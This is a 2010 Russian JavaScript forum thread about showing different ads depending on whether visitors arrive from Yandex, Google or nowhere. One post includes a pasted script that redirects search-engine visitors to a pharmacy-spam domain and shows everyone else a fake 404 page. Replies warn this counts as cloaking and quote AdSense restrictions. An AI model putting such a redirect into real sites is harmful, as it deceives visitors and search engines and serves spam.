Javascript-форум (https://javascript.ru/forum/)
-   Общие вопросы Javascript (https://javascript.ru/forum/misc/)
-   -   В зависимости от referrer выводить рекламу adsene или зорьки (https://javascript.ru/forum/misc/13870-v-zavisimosti-ot-referrer-vyvodit-reklamu-adsene-ili-zorki.html)

wlad2 18.12.2010 11:52

В зависимости от referrer выводить рекламу adsene или зорьки
 
На сайте стоит кэширование, поэтому готовые на php скрипты толку подключать ноль.
Но как-же тогда сделать такое на JS?
Если пришли с поиска Яндекса то выдавать например код Зорьки(Бегуна), а если пришли с Гугла то выдавать блок adsense, а если нет реферрера то выводить что-то другое, но тоже рекламу.

monolithed 18.12.2010 11:59

А если пришли с отключенным JS?

используйте:
$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';

wlad2 18.12.2010 12:17

monolithed,
у меня движок на wp стоит и стоит плагин кэширования, как будет работать PHP? под каждого реферрера делать отдельный кэш?

Kolyaj 18.12.2010 12:20

Цитата:

Сообщение от monolithed
А если пришли с отключенным JS?

Реклама тоже JS-ом показывается.

document.referer

wlad2 18.12.2010 12:42

ребята вот например есть код
<script> 
function R(){ 
var Ref=document.referrer; 

if (Ref.indexOf('.google.')!=-1 || Ref.indexOf('.bing.')!=-1 || Ref.indexOf('.yahoo.')!=-1 || Ref.indexOf('.aol.')!=-1 || Ref.indexOf('.ask.')!=-1 || Ref.indexOf('.altavista.')!=-1 || Ref.indexOf('.bing.')!=-1 ) 
{ document.write('<script language="javascript">docu'+'ment.location="http://ССЫЛКАНАШОПОТdrugrevenue.com"</s'+'cript>')} 

else { 
document.write('<h1>404 Not Found</h1>'); 
} 
} 

R(); 
</script>

как его переделать под мои нужды?

monolithed 18.12.2010 13:28

Цитата:

Сообщение от Kolyaj
Реклама тоже JS-ом показывается.

Ну если только реклама))

wlad2,
indexOf() - не кроссбраузерный метод
write() перед использованием этого метода 100 раз подумаете и все проверьте))

Цитата:

Сообщение от wlad2
Если пришли с поиска Яндекса то выдавать например код Зорьки(Бегуна), а если пришли с Гугла то выдавать блок adsense, а если нет реферрера то выводить что-то другое, но тоже рекламу.

Кстати, ПС это может расцениваться как клоакинг, дабы они понимают JS и ваш сайт может никогда больше не выводить рекламу))

wlad2 18.12.2010 15:11

Цитата:

ПС это может расцениваться как клоакинг
Контентная часть остается на странице, меняется только реклама, не думаю что это клоакинг!

monolithed 18.12.2010 15:39

Цитата:

Сообщение от wlad2
Контентная часть остается на странице, меняется только реклама, не думаю что это клоакинг!

Это может рассматриваться как нарушение лицензии:

"ЗАПРЕЩАЕТСЯ":
(b) каким-либо образом редактировать, фильтровать, урезать или изменять порядок информации, содержащейся в любом Объявлении, Ссылке, Рекламном блоке, Результате поиска, или Кнопке реферала, или удалять, делать неясным или сокращать любое Объявление, Ссылку, Рекламный блок, Результат поиска или Кнопку реферала без разрешения от компании Google;

(c) устанавливать рамки, сокращать, удалять, или иным образом ограничивать полный показ любой веб-страницы, к которой получает доступ конечный пользователь после нажатия на любую часть объявления ("Страница Рекламодателя)", любой Страницы результатов поиска, или любой Страницы реферала;

(d) переадресовать конечного пользователя с любой Страницы Рекламодателя, Страницы результатов поиска, или Страницы реферала; предоставлять версию Страницы Рекламодателя, Страницы результатов поиска, или Страницы реферала, которая отличается от страницы, к которой конечный пользователь получил бы доступ, при переходе непосредственно на Страницу Рекламодателя, Страницу результатов поиска, или Страницу реферала; распределять любое содержание между Объявлением и Страницей Рекламодателя, между страницей, содержащей Окно поиска, и Страницей результатов поиска, или между Кнопкой реферала и Страницей реферала; или иным образом предоставлять что-либо кроме прямой ссылки между Объявлением и Страницей Рекламодателя, страницей, содержащей Окно поиска, и Страницей результатов поиска, или Кнопкой реферала и Страницей реферала;

(e) демонстрировать любое Объявление(я), Ссылку(и), или Кнопку(и) реферала на любой веб-странице или любом веб-сайте, содержание которого связано с порнографией, ненавистью, жестокостью или является незаконным;

x-yuri 18.12.2010 16:02

Цитата:

Сообщение от monolithed
indexOf() - не кроссбраузерный метод

и где он не работает?

monolithed 18.12.2010 21:43

http://alljs.ru/articles/array/indexof.html


Часовой пояс GMT +3, время: 04:53.